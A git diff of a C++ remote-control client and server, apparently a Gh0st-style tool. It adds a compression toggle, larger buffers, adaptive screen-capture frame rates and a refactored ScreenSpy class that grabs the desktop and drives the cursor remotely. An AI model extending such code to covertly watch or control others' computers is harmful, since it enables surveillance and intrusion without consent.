diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp index d9fb2bc..39ec430 100644 --- a/client/IOCPClient.cpp +++ b/client/IOCPClient.cpp @@ -283,6 +283,8 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength) } +// 向server发送数据,压缩操作比较耗时。 +// 关闭压缩开关时,SendWithSplit比较耗时。 BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) //Hello { AUTO_TICK(50); @@ -293,6 +295,7 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) //数据压缩 压缩算法 微软提供 //nSize = 436 //destLen = 448 +#if USING_COMPRESS #if USING_ZLIB unsigned long ulCompressedLength = (double)ulOriginalLength * 1.001 + 12; #elif USING_LZ4 @@ -313,6 +316,10 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) ulCompressedLength = iRet; #endif +#else // 不压缩 + unsigned long ulCompressedLength = ulOriginalLength; + LPBYTE CompressedBuffer = (LPBYTE)szBuffer; +#endif ULONG ulPackTotalLength = ulCompressedLength + HDR_LENGTH; CBuffer m_WriteBuffer; @@ -326,8 +333,11 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) //[Shine][ 30 ][5] m_WriteBuffer.WriteBuffer(CompressedBuffer,ulCompressedLength); +#if USING_COMPRESS // 使用压缩算法,需要释放申请的内存 delete [] CompressedBuffer; CompressedBuffer = NULL; +#endif + // 分块发送 //shine[0035][0010][HelloWorld+12] return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(), @@ -338,6 +348,7 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) // 5 2 // 2 2 1 BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength) { + AUTO_TICK(25); int iReturn = 0; //真正发送了多少 const char* Travel = szBuffer; int i = 0; diff --git a/client/IOCPClient.h b/client/IOCPClient.h index becbae2..cf0eca6 100644 --- a/client/IOCPClient.h +++ b/client/IOCPClient.h @@ -17,8 +17,8 @@ #pragma comment(lib,"ws2_32.lib") -#define MAX_RECV_BUFFER 1024*8 -#define MAX_SEND_BUFFER 1024*8 +#define MAX_RECV_BUFFER 1024*32 +#define MAX_SEND_BUFFER 1024*32 #define FLAG_LENGTH 5 #define HDR_LENGTH 13 diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp index b073672..0536376 100644 --- a/client/ScreenManager.cpp +++ b/client/ScreenManager.cpp @@ -28,7 +28,7 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n):CManager(ClientO m_ScreenSpyObject = new CScreenSpy(16); - szBuffer = new char[4 * m_ScreenSpyObject->m_ulFullWidth * m_ScreenSpyObject->m_ulFullHeight]; + szBuffer = new char[4 * m_ScreenSpyObject->GetWidth() * m_ScreenSpyObject->GetHeight()]; m_hWorkThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WorkThreadProc,this,0,NULL); } @@ -53,8 +53,11 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam) const int fps = 8;// 帧率 #endif const int sleep = 1000 / fps;// 间隔时间(ms) - int c1 = 0, c2 = 0, s0 = sleep; + int c1 = 0; // 连续耗时长的次数 + int c2 = 0; // 连续耗时短的次数 + int s0 = sleep; // 两帧之间隔(ms) const int frames = fps; // 每秒调整屏幕发送速度 + const double alpha = 1.2; // 控制fps的因子 timeBeginPeriod(1); while (This->m_bIsWorking) { @@ -64,23 +67,23 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam) { int span = s0-(clock() - last); Sleep(span > 0 ? span : 1); - if (span < 0) + if (span < 0) // 发送数据耗时较长,网络较差或数据较多 { c2 = 0; - if (frames == ++c1) { - s0 = (s0 <= sleep*4) ? s0*2 : s0; + if (frames == ++c1) { // 连续一定次数耗时长 + s0 = (s0 <= sleep*4) ? s0*alpha : s0; c1 = 0; #ifdef _DEBUG - printf("[+]SendScreen Span= %dms, s0= %d\n", span, s0); + printf("[+]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000./s0); #endif } - } else { + } else if (span > 0){ // 发送数据耗时比s0短,表示网络较好或数据包较小 c1 = 0; - if (frames == ++c2) { - s0 = (s0 >= sleep/4) ? s0/2 : s0; + if (frames == ++c2) { // 连续一定次数耗时短 + s0 = (s0 >= sleep/4) ? s0/alpha : s0; c2 = 0; #ifdef _DEBUG - printf("[-]SendScreen Span= %dms, s0= %d\n", span, s0); + printf("[-]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000./s0); #endif } } @@ -97,7 +100,7 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam) VOID CScreenManager::SendBitMapInfo() { //这里得到bmp结构的大小 - ULONG ulLength = 1 + m_ScreenSpyObject->GetBISize(); + const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER); LPBYTE szBuffer = (LPBYTE)VirtualAlloc(NULL, ulLength, MEM_COMMIT, PAGE_READWRITE); @@ -279,10 +282,10 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength) POINT Point; Point.x = LOWORD(Msg->lParam); Point.y = HIWORD(Msg->lParam); - if(m_ScreenSpyObject->m_bZoomed) + if(m_ScreenSpyObject->IsZoomed()) { - Point.x *= m_ScreenSpyObject->m_wZoom; - Point.y *= m_ScreenSpyObject->m_hZoom; + Point.x *= m_ScreenSpyObject->GetWZoom(); + Point.y *= m_ScreenSpyObject->GetHZoom(); } SetCursorPos(Point.x, Point.y); SetCapture(WindowFromPoint(Point)); diff --git a/client/ScreenSpy.cpp b/client/ScreenSpy.cpp index 01c0716..f9d1856 100644 --- a/client/ScreenSpy.cpp +++ b/client/ScreenSpy.cpp @@ -14,22 +14,8 @@ CScreenSpy::CScreenSpy(ULONG ulbiBitCount) { m_bAlgorithm = ALGORITHM_DIFF; - m_dwBitBltRop = SRCCOPY; - m_BitmapInfor_Full = NULL; - switch (ulbiBitCount) - { - case 16: - case 32: - m_ulbiBitCount = ulbiBitCount; - break; - default: - m_ulbiBitCount = 16; - } + m_ulbiBitCount = (ulbiBitCount == 16 || ulbiBitCount == 32) ? ulbiBitCount : 16; - m_hDeskTopWnd = GetDesktopWindow(); - m_hFullDC = GetDC(m_hDeskTopWnd); - - m_hFullMemDC = CreateCompatibleDC(m_hFullDC); //::GetSystemMetrics(SM_CXSCREEN/SM_CYSCREEN)获取屏幕大小不准 //例如当屏幕显示比例为125%时,获取到的屏幕大小需要乘以1.25才对 DEVMODE devmode; @@ -44,29 +30,50 @@ CScreenSpy::CScreenSpy(ULONG ulbiBitCount) m_wZoom = double(m_ulFullWidth) / w, m_hZoom = double(m_ulFullHeight) / h; printf("=> 桌面缩放比例: %.2f, %.2f\t分辨率:%d x %d\n", m_wZoom, m_hZoom, m_ulFullWidth, m_ulFullHeight); m_wZoom = 1.0/m_wZoom, m_hZoom = 1.0/m_hZoom; - m_BitmapInfor_Full = ConstructBI(m_ulbiBitCount,m_ulFullWidth, m_ulFullHeight); + + m_BitmapInfor_Full = new BITMAPINFO(); + memset(m_BitmapInfor_Full, 0, sizeof(BITMAPINFO)); + BITMAPINFOHEADER* BitmapInforHeader = &(m_BitmapInfor_Full->bmiHeader); + BitmapInforHeader->biSize = sizeof(BITMAPINFOHEADER); + BitmapInforHeader->biWidth = m_ulFullWidth; //1080 + BitmapInforHeader->biHeight = m_ulFullHeight; //1920 + BitmapInforHeader->biPlanes = 1; + BitmapInforHeader->biBitCount = ulbiBitCount; //通常为32 + BitmapInforHeader->biCompression = BI_RGB; + BitmapInforHeader->biSizeImage = + ((BitmapInforHeader->biWidth * BitmapInforHeader->biBitCount + 31) / 32) * 4 * BitmapInforHeader->biHeight; + + m_hDeskTopWnd = GetDesktopWindow(); + m_hFullDC = GetDC(m_hDeskTopWnd); + m_BitmapData_Full = NULL; - m_BitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, - DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL); + m_hFullMemDC = CreateCompatibleDC(m_hFullDC); + m_BitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL); ::SelectObject(m_hFullMemDC, m_BitmapHandle); - m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2]; + m_DiffBitmapData_Full = NULL; + m_hDiffMemDC = CreateCompatibleDC(m_hFullDC); + m_DiffBitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_DiffBitmapData_Full, NULL, NULL); + ::SelectObject(m_hDiffMemDC, m_DiffBitmapHandle); m_RectBufferOffset = 0; - - m_hDiffMemDC = CreateCompatibleDC(m_hFullDC); - m_DiffBitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, - DIB_RGB_COLORS, &m_DiffBitmapData_Full, NULL, NULL); - ::SelectObject(m_hDiffMemDC, m_DiffBitmapHandle); + m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2]; } CScreenSpy::~CScreenSpy() { - ReleaseDC(m_hDeskTopWnd, m_hFullDC); //GetDC + if (m_BitmapInfor_Full != NULL) + { + delete m_BitmapInfor_Full; + m_BitmapInfor_Full = NULL; + } + + ReleaseDC(m_hDeskTopWnd, m_hFullDC); + if (m_hFullMemDC!=NULL) { - DeleteDC(m_hFullMemDC); //Create匹配内存DC + DeleteDC(m_hFullMemDC); ::DeleteObject(m_BitmapHandle); if (m_BitmapData_Full!=NULL) @@ -79,7 +86,7 @@ CScreenSpy::~CScreenSpy() if (m_hDiffMemDC!=NULL) { - DeleteDC(m_hDiffMemDC); //Create匹配内存DC + DeleteDC(m_hDiffMemDC); ::DeleteObject(m_DiffBitmapHandle); if (m_DiffBitmapData_Full!=NULL) @@ -88,12 +95,6 @@ CScreenSpy::~CScreenSpy() } } - if (m_BitmapInfor_Full!=NULL) - { - delete[] m_BitmapInfor_Full; - m_BitmapInfor_Full = NULL; - } - if (m_RectBuffer) { delete[] m_RectBuffer; @@ -103,38 +104,10 @@ CScreenSpy::~CScreenSpy() m_RectBufferOffset = 0; } -LPBITMAPINFO CScreenSpy::ConstructBI(ULONG ulbiBitCount, - ULONG ulFullWidth, ULONG ulFullHeight) -{ - int ColorNum = ulbiBitCount <= 8 ? 1 << ulbiBitCount : 0; - ULONG ulBitmapLength = sizeof(BITMAPINFOHEADER) + (ColorNum * sizeof(RGBQUAD)); //BITMAPINFOHEADER + 调色板的个数 - BITMAPINFO *BitmapInfor = (BITMAPINFO *) new BYTE[ulBitmapLength]; //[][] - - BITMAPINFOHEADER* BitmapInforHeader = &(BitmapInfor->bmiHeader); - - BitmapInforHeader->biSize = sizeof(BITMAPINFOHEADER);//pi si - BitmapInforHeader->biWidth = ulFullWidth; //1080 - BitmapInforHeader->biHeight = ulFullHeight; //1920 - BitmapInforHeader->biPlanes = 1; - BitmapInforHeader->biBitCount = ulbiBitCount; //32 - BitmapInforHeader->biCompression = BI_RGB; - BitmapInforHeader->biXPelsPerMeter = 0; - BitmapInforHeader->biYPelsPerMeter = 0; - BitmapInforHeader->biClrUsed = 0; - BitmapInforHeader->biClrImportant = 0; - BitmapInforHeader->biSizeImage = - ((BitmapInforHeader->biWidth * BitmapInforHeader->biBitCount + 31)/32)*4* BitmapInforHeader->biHeight; - - // 16位和以后的没有颜色表,直接返回 - - return BitmapInfor; -} - LPVOID CScreenSpy::GetFirstScreenData() { //用于从原设备中复制位图到目标设备 - ::BitBlt(m_hFullMemDC, 0, 0, - m_ulFullWidth, m_ulFullHeight, m_hFullDC, 0, 0, m_dwBitBltRop); + ::BitBlt(m_hFullMemDC, 0, 0, m_ulFullWidth, m_ulFullHeight, m_hFullDC, 0, 0, SRCCOPY); return m_BitmapData_Full; //内存 } @@ -156,6 +129,7 @@ LPVOID CScreenSpy::GetNextScreenData(ULONG* ulNextSendLength) WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT)); // 写入当前光标类型 + static CCursorInfo m_CursorInfor; BYTE bCursorIndex = m_CursorInfor.getCurrentCursorIndex(); WriteRectBuffer(&bCursorIndex, sizeof(BYTE)); @@ -163,12 +137,10 @@ LPVOID CScreenSpy::GetNextScreenData(ULONG* ulNextSendLength) if (m_bAlgorithm == ALGORITHM_DIFF) { // 分段扫描全屏幕 将新的位图放入到m_hDiffMemDC中 - ScanScreen(m_hDiffMemDC, m_hFullDC, m_BitmapInfor_Full->bmiHeader.biWidth, - m_BitmapInfor_Full->bmiHeader.biHeight); + ScanScreen(m_hDiffMemDC, m_hFullDC, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight); //两个Bit进行比较如果不一样修改m_lpvFullBits中的返回 - *ulNextSendLength = m_RectBufferOffset + - CompareBitmap((LPBYTE)m_DiffBitmapData_Full, (LPBYTE)m_BitmapData_Full, + *ulNextSendLength = m_RectBufferOffset + CompareBitmap((LPBYTE)m_DiffBitmapData_Full, (LPBYTE)m_BitmapData_Full, m_RectBuffer + m_RectBufferOffset, m_BitmapInfor_Full->bmiHeader.biSizeImage); return m_RectBuffer; @@ -182,7 +154,7 @@ VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHei { AUTO_TICK(70); #if COPY_ALL - BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hdcSour, 0, 0, m_dwBitBltRop); + BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hdcSour, 0, 0, SRCCOPY); #else const ULONG ulJumpLine = 50; const ULONG ulJumpSleep = ulJumpLine / 10; @@ -195,15 +167,14 @@ VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHei ulToJump = ulJumpLine; else ulToJump = ulv1; - BitBlt(hdcDest, 0, i, ulWidth, ulToJump, hdcSour,0, i, m_dwBitBltRop); + BitBlt(hdcDest, 0, i, ulWidth, ulToJump, hdcSour,0, i, SRCCOPY); Sleep(ulJumpSleep); } #endif } -ULONG CScreenSpy::CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, - LPBYTE szBuffer, DWORD ulCompareLength) +ULONG CScreenSpy::CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer, DWORD ulCompareLength) { AUTO_TICK(20); // Windows规定一个扫描行所占的字节数必须是4的倍数, 所以用DWORD比较 diff --git a/client/ScreenSpy.h b/client/ScreenSpy.h index 948a442..64bfa85 100644 --- a/client/ScreenSpy.h +++ b/client/ScreenSpy.h @@ -15,15 +15,55 @@ class CScreenSpy { +private: + BYTE m_bAlgorithm; // 屏幕差异算法 + ULONG m_ulbiBitCount; // 每像素位数 + + ULONG m_ulFullWidth; // 屏幕宽 + ULONG m_ulFullHeight; //屏幕高 + bool m_bZoomed; // 屏幕被缩放 + double m_wZoom; // 屏幕横向缩放比 + double m_hZoom; // 屏幕纵向缩放比 + + LPBITMAPINFO m_BitmapInfor_Full; // BMP信息 + + HWND m_hDeskTopWnd; //当前工作区的窗口句柄 + HDC m_hFullDC; //Explorer.exe 的窗口设备DC + + HDC m_hFullMemDC; + HBITMAP m_BitmapHandle; + PVOID m_BitmapData_Full; + + HDC m_hDiffMemDC; + HBITMAP m_DiffBitmapHandle; + PVOID m_DiffBitmapData_Full; + + ULONG m_RectBufferOffset; // 缓存区位移 + BYTE* m_RectBuffer; // 缓存区 + public: CScreenSpy(ULONG ulbiBitCount); + virtual ~CScreenSpy(); - ULONG GetBISize() const - { - ULONG ColorNum = m_ulbiBitCount <= 8 ? 1 << m_ulbiBitCount : 0; + int GetWidth()const { + return m_ulFullWidth; + } - return sizeof(BITMAPINFOHEADER) + (ColorNum * sizeof(RGBQUAD)); + int GetHeight() const { + return m_ulFullHeight; + } + + bool IsZoomed() const { + return m_bZoomed; + } + + double GetWZoom() const { + return m_wZoom; + } + + double GetHZoom() const { + return m_hZoom; } const LPBITMAPINFO& GetBIData() const @@ -31,45 +71,25 @@ public: return m_BitmapInfor_Full; } - ULONG m_ulbiBitCount; - LPBITMAPINFO m_BitmapInfor_Full; - ULONG m_ulFullWidth, m_ulFullHeight; //屏幕的分辨率 - LPBITMAPINFO ConstructBI(ULONG ulbiBitCount, - ULONG ulFullWidth, ULONG ulFullHeight); - - HWND m_hDeskTopWnd; //当前工作区的窗口句柄 - HDC m_hFullDC; //Explorer.exe 的窗口设备DC - HDC m_hFullMemDC; - HBITMAP m_BitmapHandle; - PVOID m_BitmapData_Full; - DWORD m_dwBitBltRop; - LPVOID GetFirstScreenData(); - ULONG GetFirstScreenLength() const { return m_BitmapInfor_Full->bmiHeader.biSizeImage; } - LPVOID GetNextScreenData(ULONG* ulNextSendLength); - BYTE* m_RectBuffer; - ULONG m_RectBufferOffset; - BYTE m_bAlgorithm; - - FORCEINLINE VOID WriteRectBuffer(LPBYTE szBuffer,ULONG ulLength) + FORCEINLINE VOID WriteRectBuffer(LPBYTE szBuffer, ULONG ulLength) { - memcpy(m_RectBuffer + m_RectBufferOffset, szBuffer, ulLength); + memcpy(m_RectBuffer + m_RectBufferOffset, szBuffer, ulLength); m_RectBufferOffset += ulLength; } - CCursorInfo m_CursorInfor; - HDC m_hDiffMemDC; - HBITMAP m_DiffBitmapHandle; - PVOID m_DiffBitmapData_Full; - ULONG CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, - LPBYTE szBuffer, DWORD ulCompareLength); + LPVOID GetFirstScreenData(); + + LPVOID GetNextScreenData(ULONG* ulNextSendLength); + + ULONG CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer, DWORD ulCompareLength); + VOID ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight); - bool m_bZoomed; // 屏幕被缩放 - double m_wZoom, m_hZoom; // 屏幕缩放比例 + }; #endif // !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_) diff --git a/client/StdAfx.h b/client/StdAfx.h index f83e4be..798d0ff 100644 --- a/client/StdAfx.h +++ b/client/StdAfx.h @@ -6,6 +6,9 @@ #if !defined(AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_) #define AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_ +// 使用压缩算法,算法需要和server的stdafx.h匹配 +#define USING_COMPRESS 1 + // 是否使用ZLIB #define USING_ZLIB 1 @@ -57,19 +60,25 @@ class auto_tick { private: const char *func; - int threshold; + int span; clock_t tick; __inline clock_t now() const { return clock(); } + __inline int time() const { return now() - tick; } public: - auto_tick(const char *func_name, int th=5) : func(func_name), threshold(th), tick(now()) { } - ~auto_tick() {int s(this->time());if(s>threshold)printf("[%s]执行时间: [%d]ms.\n", func, s);} - __inline int time() const { return now() - tick; } + auto_tick(const char *func_name, int th = 5) : func(func_name), span(th), tick(now()) { } + ~auto_tick() { stop(); } + + __inline void stop() { + if (span != 0) { int s(this->time()); if (s > span)printf("[%s]执行时间: [%d]ms.\n", func, s); span = 0; } + } }; #ifdef _DEBUG // 智能计算当前函数的耗时,超时会打印 #define AUTO_TICK(thresh) auto_tick TICK(__FUNCTION__, thresh) +#define STOP_TICK TICK.stop() #else #define AUTO_TICK(thresh) +#define STOP_TICK #endif diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 0fc83aa..f7ce6c8 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -410,6 +410,8 @@ BOOL CMy2015RemoteDlg::OnInitDialog() ShowWindow(SW_SHOW); #endif + timeBeginPeriod(1); + return TRUE; // 除非将焦点设置到控件,否则返回 TRUE } @@ -583,6 +585,7 @@ void CMy2015RemoteDlg::OnClose() delete m_iocpServer; m_iocpServer = NULL; } + timeEndPeriod(1); CDialogEx::OnClose(); } diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp index f15cedc..3e271f3 100644 --- a/server/2015Remote/IOCPServer.cpp +++ b/server/2015Remote/IOCPServer.cpp @@ -312,20 +312,20 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam) InterlockedIncrement(&This->m_ulCurrentThread); InterlockedIncrement(&This->m_ulBusyThread); - + timeBeginPeriod(1); while (This->m_bTimeToKill==FALSE) { - InterlockedDecrement(&This->m_ulBusyThread); + AUTO_TICK(40); + InterlockedDecrement(&This->m_ulBusyThread); + // GetQueuedCompletionStatus耗时比较长,导致客户端发送数据的速率提高不了 BOOL bOk = GetQueuedCompletionStatus( hCompletionPort, &dwTrans, (LPDWORD)&ContextObject, - &Overlapped,INFINITE); - - DWORD dwIOError = GetLastError(); - + &Overlapped, INFINITE); + STOP_TICK; + DWORD dwIOError = GetLastError(); OverlappedPlus = CONTAINING_RECORD(Overlapped, OVERLAPPEDPLUS, m_ol); - ulBusyThread = InterlockedIncrement(&This->m_ulBusyThread); //1 1 if ( !bOk && dwIOError != WAIT_TIMEOUT ) //当对方的套机制发生了关闭 { @@ -391,6 +391,7 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam) SAFE_DELETE(OverlappedPlus); } + timeEndPeriod(1); SAFE_DELETE(OverlappedPlus); InterlockedDecrement(&This->m_ulWorkThreadCount); @@ -469,10 +470,15 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans ContextObject->InCompressedBuffer.ReadBuffer((PBYTE) &ulOriginalLength, sizeof(ULONG)); ULONG ulCompressedLength = ulPackTotalLength - HDR_LENGTH; //461 - 13 448 PBYTE CompressedBuffer = new BYTE[ulCompressedLength]; //没有解压 - PBYTE DeCompressedBuffer = new BYTE[ulOriginalLength]; //解压过的内存 436 //从数据包当前将源数据没有解压读取到pData 448 ContextObject->InCompressedBuffer.ReadBuffer(CompressedBuffer, ulCompressedLength); +#if USING_COMPRESS + PBYTE DeCompressedBuffer = new BYTE[ulOriginalLength]; //解压过的内存 436 int iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength); +#else + PBYTE DeCompressedBuffer = CompressedBuffer; + int iRet = 0; +#endif if (Z_SUCCESS(iRet)) { ContextObject->InDeCompressedBuffer.ClearBuffer(); @@ -482,11 +488,15 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans }else{ OutputDebugStringA("[ERROR] uncompress failed \n"); delete [] CompressedBuffer; +#if USING_COMPRESS // 释放内存 delete [] DeCompressedBuffer; +#endif throw "Bad Buffer"; } delete [] CompressedBuffer; +#if USING_COMPRESS // 释放内存 delete [] DeCompressedBuffer; +#endif }else{ break; } diff --git a/server/2015Remote/stdafx.h b/server/2015Remote/stdafx.h index 1fa19cc..86b7c81 100644 --- a/server/2015Remote/stdafx.h +++ b/server/2015Remote/stdafx.h @@ -5,6 +5,9 @@ #pragma once +// 使用压缩算法,算法需要和clien的stdafx.h匹配 +#define USING_COMPRESS 1 + // 是否使用ZLIB #define USING_ZLIB 1 @@ -234,19 +237,25 @@ class auto_tick { private: const char *func; - int threshold; + int span; clock_t tick; __inline clock_t now() const { return clock(); } + __inline int time() const { return now() - tick; } public: - auto_tick(const char *func_name, int th=5) : func(func_name), threshold(th), tick(now()) { } - ~auto_tick(){int s(this->time());if(s>threshold)TRACE("[%s]执行时间: [%d]ms.\n", func, s);} - __inline int time() const { return now() - tick; } + auto_tick(const char *func_name, int th = 5) : func(func_name), span(th), tick(now()) { } + ~auto_tick() { stop(); } + + __inline void stop() { + if (span != 0) { int s(this->time()); if (s > span)TRACE("[%s]执行时间: [%d]ms.\n", func, s); span = 0; } + } }; #ifdef _DEBUG // 智能计算当前函数的耗时,超时会打印 #define AUTO_TICK(thresh) auto_tick TICK(__FUNCTION__, thresh) +#define STOP_TICK TICK.stop() #else #define AUTO_TICK(thresh) +#define STOP_TICK #endif